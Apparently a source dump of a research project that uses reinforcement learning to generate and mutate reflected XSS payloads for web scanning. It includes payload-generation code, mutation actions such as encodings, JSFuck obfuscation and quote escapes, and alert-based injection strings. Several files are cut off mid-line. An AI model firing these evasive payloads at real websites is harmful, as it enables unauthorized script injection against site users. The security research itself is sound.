IP_REGEX.match(domain) 90 | if search_ip: 91 | # IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address. 92 | # We must append the '.local' suffix pour IPv6 addresses. 93 | domain = search_ip.group("ip") 94 | if domain.startswith("[") and not domain.endswith(".local"): 95 | domain += ".local" 96 | matching_domains = [domain] 97 | else: 98 | domain = domain.split(":")[0] 99 | 100 | # For hostnames on local network we must add a 'local' tld (needed by cookielib) 101 | if '.' not in domain: 102 | domain += ".local" 103 | 104 | domain_key = domain if domain[0] == '.' else '.' + domain 105 | exploded = domain_key.split(".") 106 | parent_domains = [".%s" % (".".join(exploded[x:])) for x in range(1, len(exploded) - 1)] 107 | matching_domains = [d for d in parent_domains if d in self.cookiedict] 108 | 109 | if not matching_domains: 110 | return cj 111 | 112 | for d in matching_domains: 113 | for path in self.cookiedict[d]: 114 | for cookie_name, cookie_attrs in self.cookiedict[d][path].items(): 115 | ck = Cookie( 116 | version=cookie_attrs["version"], 117 | name=cookie_name, 118 | value=cookie_attrs["value"], 119 | port=None, 120 | port_specified=False, 121 | domain=d, 122 | domain_specified=True, 123 | domain_initial_dot=False, 124 | path=path, 125 | path_specified=True, 126 | secure=cookie_attrs["secure"], 127 | expires=cookie_attrs["expires"], 128 | discard=True, 129 | comment=None, 130 | comment_url=None, 131 | rest={'HttpOnly': None}, 132 | rfc2109=False 133 | ) 134 | 135 | if cookie_attrs["port"]: 136 | ck.port = cookie_attrs["port"] 137 | ck.port_specified = True 138 | 139 | cj.set_cookie(ck) 140 | return cj 141 | 142 | def delete(self, domain, path=None, key=None): 143 | if not domain: 144 | return False 145 | 146 | search_ip = IP_REGEX.match(domain) 147 | if search_ip: 148 | # IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address 149 | # We must append the '.local' suffix pour IPv6 addresses. 150 | domain = search_ip.group("ip") 151 | if domain.startswith("[") and not domain.endswith(".local"): 152 | domain += ".local" 153 | else: 154 | domain = domain.split(":")[0] 155 | # For hostnames on local network we must add a 'local' tld (needed by cookielib) 156 | if '.' not in domain: 157 | domain += ".local" 158 | domain = domain if domain[0] == '.' else '.' + domain 159 | 160 | if domain not in self.cookiedict.keys(): 161 | return False 162 | 163 | if not path: 164 | # delete whole domain data 165 | self.cookiedict.pop(domain) 166 | return True 167 | 168 | # path asked for deletion... but does not exist 169 | if path not in self.cookiedict[domain].keys(): 170 | return False 171 | 172 | if not key: 173 | # remove every data on the specified domain for the matching path 174 | self.cookiedict[domain].pop(path) 175 | return True 176 | 177 | if key in self.cookiedict[domain][path].keys(): 178 | self.cookiedict[domain][path].pop(key) 179 | return True 180 | return False 181 | 182 | def dump(self): 183 | if not self.fd: 184 | return False 185 | self.fd.seek(0) 186 | self.fd.truncate() 187 | json.dump(self.cookiedict, self.fd, indent=2) 188 | return True 189 | 190 | def close(self): 191 | self.fd.close() 192 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/jsparser/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/jsparser/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/jsparser/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/jsparser/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/jsparser/__pycache__/jsparser3.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/net/jsparser/__pycache__/jsparser3.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/net/lamejs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # LameJs - A very basic javascript interpreter in Python 4 | # This file is part of the Wapiti project (http://wapiti.sourceforge.io) 5 | # Copyright (C) 2013-2020 Nicolas Surribas 6 | # 7 | # This program is free software; you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation; either version 2 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 20 | import logging 21 | import re 22 | 23 | from gym_reflected_xss.attack_module.net.jsparser import jsparser3 24 | 25 | 26 | class LameJs: 27 | 28 | def __init__(self, data): 29 | self.js_vars = {} 30 | self.links = [] 31 | self.debug = False 32 | # https://stackoverflow.com/questions/5780047/html-comments-in-a-javascript-block 33 | # trick used by http://php.testsparker.com/ 34 | data = re.sub(r"(?m)^[^\S\n]* 182 | elif elem["type"] == "comment": 183 | payload = "-->" 184 | if elem["parent"] in ["title", "textarea"]: # we can't execute javascript in those tags 185 | if elem["noscript"] != "": 186 | payload += elem["noscript"] 187 | else: 188 | payload += "".format(elem["parent"]) 189 | elif elem["parent"] == "script": # Control over the body of a script :) 190 | # Just check if we can use brackets 191 | js_code = payload + "String.fromCharCode(0,__XSS__,1)".replace("__XSS__", code) 192 | flags = {"script_fromcharcode"} 193 | if (js_code, flags) not in payloads: 194 | payloads.insert(0, (js_code, flags)) 195 | 196 | for xss, flags in independant_payloads: 197 | js_code = payload + xss.replace("__XSS__", code) 198 | if (js_code, flags) not in payloads: 199 | payloads.append((js_code, flags)) 200 | 201 | html_code = html_code.replace(code, "none", 1) # Reduce the research zone 202 | return payloads 203 | 204 | 205 | def valid_xss_content_type(http_res): 206 | """Check whether the returned content-type header allow javascript evaluation.""" 207 | # When no content-type is returned, browsers try to display the HTML 208 | if "content-type" not in http_res.headers: 209 | return True 210 | # else only text/html will allow javascript (maybe text/plain will work for IE...) 211 | if "text/html" in http_res.headers["content-type"]: 212 | return True 213 | return False 214 | -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__init__.py: -------------------------------------------------------------------------------- 1 | from gym_reflected_xss.envs.reflected_xss_env import ReflectedXSSEnv 2 | -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/action.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/action.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/observation.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/observation.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/reflected_xss_env.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/reflected_xss_env.cpython-36.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/__pycache__/reflected_xss_env.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/envs/__pycache__/reflected_xss_env.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/envs/action.py: -------------------------------------------------------------------------------- 1 | ACTION_SIZE = 39 2 | 3 | # Generation 4 | # Basic Payload 5 | USING_SCRIPT_TAG = 0 6 | PATTERN2_PAYLOAD = 1 7 | PATTERN3_PAYLOAD = 2 8 | # JsComponent 9 | SRC_URL = 3 10 | IN_JAVASCRIPT = 4 11 | JAVASCRIPT_FILE = 5 12 | URL_VALUE = 6 13 | 14 | # Mutation 15 | # Prefix 16 | MUTATE_PREFIX_SLASHBRACKET = 7 17 | MUTATE_PREFIX_DOUBLE_QUOTE = 8 18 | MUTATE_PREFIX_SINGLE_QUOTE = 9 19 | MUTATE_PREFIX_DOUBLE_QUOTE_BRACKET = 10 20 | MUTATE_PREFIX_SINGLE_QUOTE_BRACKET = 11 21 | MUTATE_PREFIX_BRACKET = 12 22 | MUTATE_PREFIX_COMMENT = 13 23 | MUTATE_PREFIX_STYLE = 14 24 | MUTATE_JS_COMMENT = 15 25 | MUTATE_PREFIX_SINGLE_QUOTE_SEMIC = 16 26 | MUTATE_PREFIX_DOUBLE_QUOTE_SEMIC = 17 27 | MUTATE_PREFIX_STRING_VALUE = 18 28 | PREFIX_ENTER = 19 29 | INSERT_EFFECTIVE_TAG = 20 30 | 31 | 32 | # Suffix 33 | MUTATE_SUFFIX_HTML_COMMENT = 21 34 | MUTATE_SUFFIX_SINGLE_QUOTATION = 22 35 | MUTATE_SUFFIX_DOUBLE_QUOTATION = 23 36 | 37 | # Tag 38 | MUTATE_HTML_TAG = 24 39 | TAG_LOWER_TO_UPPER = 25 40 | INSERT_TAG_INTO_TAG = 26 41 | 42 | # Attribute 43 | TAG_ATTRIBUTE_UPPER = 27 # 44 | 45 | # JS Snippet 46 | MUTATE_JAVA_SCRIPT = 28 # 47 | DIVIDE_JAVASCRIPT = 29 # 48 | IN_JAVASCRIPT_PREFIX_SUFFIX_DOUBLE = 30 # "+alert(1)+" 49 | IN_JAVASCRIPT_PREFIX_SUFFIX_SINGLE = 31 # '+alert(1)+' 50 | JAVASCRIPT_NO_PARENTHESIS = 32 # 51 | 52 | # Entire String 53 | URL_ENCODING = 33 # %3Cscript%3E alert(1) %3C%2Fscript%3E 54 | HEXA_ENCODING = 34 # \74img src=0 onerror=alert(1)\76 55 | CODE_OBFUSCATION = 35 # [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[ 56 | WHITE_SPACE_TO_SLASH = 36 # 57 | MUTATE_QUOTATION_TO_BACK_TICK = 37 # 58 | MUTATE_PARENTHESIS_TO_BACK_TICK = 38 # 59 | 60 | #BASE64_ENCODING = 29 # data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= 61 | -------------------------------------------------------------------------------- /gym_reflected_xss/envs/observation.py: -------------------------------------------------------------------------------- 1 | STATE_SIZE = 47 2 | 3 | # Observation Space [0,1] 4 | # Input Payload 5 | # Payload Appearance 6 | CONTAIN_SCRIPT_STRING = 0 7 | ALERT_STRING = 1 8 | PARENTHESIS = 2 9 | STRING_PREFIX = 3 10 | EVENT_ELEMENT = 4 11 | ATTRIBUTE_ELEMENT = 5 12 | JS_PAYLOAD = 6 13 | HTML_COMMENT_USED = 7 14 | JS_COMMENT_USED = 8 15 | URL_PAYLOAD = 9 16 | JAVASCRIPT_FILE_NAME = 10 17 | HTML_TAG_USED = 11 18 | HTML_SCRIPT_TAG_USED = 12 19 | HTML_MEDIA_TAG_USED = 13 20 | SINGLE_QUOTATION = 14 21 | DOUBLE_QUOTATION = 15 22 | BACK_TICK = 16 23 | BACKSLASH = 17 24 | BRACKET = 18 25 | PREFIX_ENTER = 19 26 | INSERT_EFFECTIVE_TAG = 20 27 | 28 | JAVASCRIPT_CODE = 21 29 | URL_ENCODING = 22 30 | HEXA_ENCODING = 23 31 | CODE_OBSFUSCATION = 24 32 | CHARACTER_UPPER = 25 33 | ATTRIBUTE_UPPER = 26 34 | TAG_INSERTED = 27 35 | NO_WHITE_SPACE = 28 36 | 37 | # Payload Repititiveness 38 | INPUT_CORPUS = 29 39 | PREVIOUS_ACTION = 30 40 | CURRENT_ACTION = 31 41 | 42 | # Response 43 | # Reflected Payload Appearance 44 | TAG_INJECTED = 32 45 | STRING_INJECTED = 33 46 | SIMILARITY = 34 47 | 48 | # PayLoad Context information 49 | CONTENT_TYPE = 35 50 | DEFAULT_PAYLOAD_TYPE = 36 51 | INJECTION_POINT_TYPE = 37 52 | BEFORE_INJECTION_POINT = 38 53 | BEHIND_INJECTION_POINT = 39 54 | ESCAPE_STRING = 40 55 | EFFECTIVE_TAG_TYPE = 41 56 | FIRST_MAGIC_STRING = 42 57 | SECOND_MAGIC_STRING = 43 58 | THIRD_MAGIC_STRING = 44 59 | FOURTH_MAGIC_STRING = 45 60 | 61 | # Attack 62 | # Attack Result 63 | ATTACK_SUCCESS = 46 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | #BASE64 = 20 80 | 81 | 82 | 83 | 84 | 85 | 86 | # [Output Part] 87 | 88 | # [Action Selection] 89 | 90 | 91 | # [Injection Point Informain] 92 | 93 | 94 | #DEFAULT_PAYLOAD_TYPE = 41 95 | # [Action Count] 96 | """ 97 | USING_SCRIPT_TAG = 18 # 0 98 | PATTERN2_PAYLOAD = 19 # 1 99 | MUTATE_PREFIX_SLASHBRACKET = 20 # 2 100 | 101 | MUTATE_HTML_TAG = 21 # 3 102 | MUTATE_PREFIX_DOUBLE_QUOTE = 22 #4 103 | MUTATE_PREFIX_SINGLE_QUOTE = 23 # 5 104 | MUTATE_PREFIX = 24 # 6 105 | MUTATE_SUFFIX = 25 #7 106 | TAG_LOWER_TO_UPPER = 26 # 8 107 | INSERT_TAG_INTO_TAG = 27 # 9 108 | INSERT_EFFECTIVE_TAG = 28 # 10 109 | MUTATE_PREFIX_COMMENT = 29 # 11 110 | MUTATE_PREFIX_STYLE = 30 # 12 111 | JAVASCRIPT_VALUE = 31 # 13 112 | URL_VALUE = 32 # 14 113 | JAVASCRIPT_FILE = 33 # 15 114 | IN_JAVASCRIPT = 34 # 16 115 | """ 116 | 117 | 118 | 119 | -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/input_module/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/input_module/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/__pycache__/input_generator.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/input_module/__pycache__/input_generator.cpython-36.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/__pycache__/input_generator.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/input_module/__pycache__/input_generator.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/__pycache__/pyjsfuck.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/input_module/__pycache__/pyjsfuck.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/input_module/input_generator.py: -------------------------------------------------------------------------------- 1 | from bs4 import BeautifulSoup 2 | from random import choice 3 | import gym_reflected_xss.envs.action as act 4 | import gym_reflected_xss.envs.observation as obs 5 | import base64 6 | from urllib import parse 7 | from gym_reflected_xss.input_module.pyjsfuck import JSFuck 8 | import numpy as np 9 | import random 10 | class InputGenerator(): 11 | 12 | def __init__(self): 13 | # define element of attack payload 14 | self.INITIAL_STATUS = np.array([0.0] * obs.STATE_SIZE) 15 | self.prefixList = ["--> ", '"> ', "", "'> ", "/> ", '> ', ';} '] 16 | self.prefixHTMLList = ['"> ', "'> ", "/> ", '> '] 17 | self.prefixComment = "--> " 18 | self.prefixStyle = ';} ' 19 | self.forebracket1 = "<" 20 | self.scriptTag="script" 21 | self.mediaTag = ["img", "audio", "video"] 22 | self.linkTag = ["a"] 23 | self.htmlattr = ["src"] 24 | self.urlattr = ['src', "href"] 25 | self.htmlevent = ["onerror"] 26 | self.forebracket2 = ">" 27 | self.tempPayload = "x" 28 | self.JSPayload = 'alert(0727);' 29 | self.URLPayload = "javascript:alert(0727)" 30 | self.JSFILEPayload = "http://data/attack.js" 31 | self.backbracket = "" 33 | self.suffixList = ["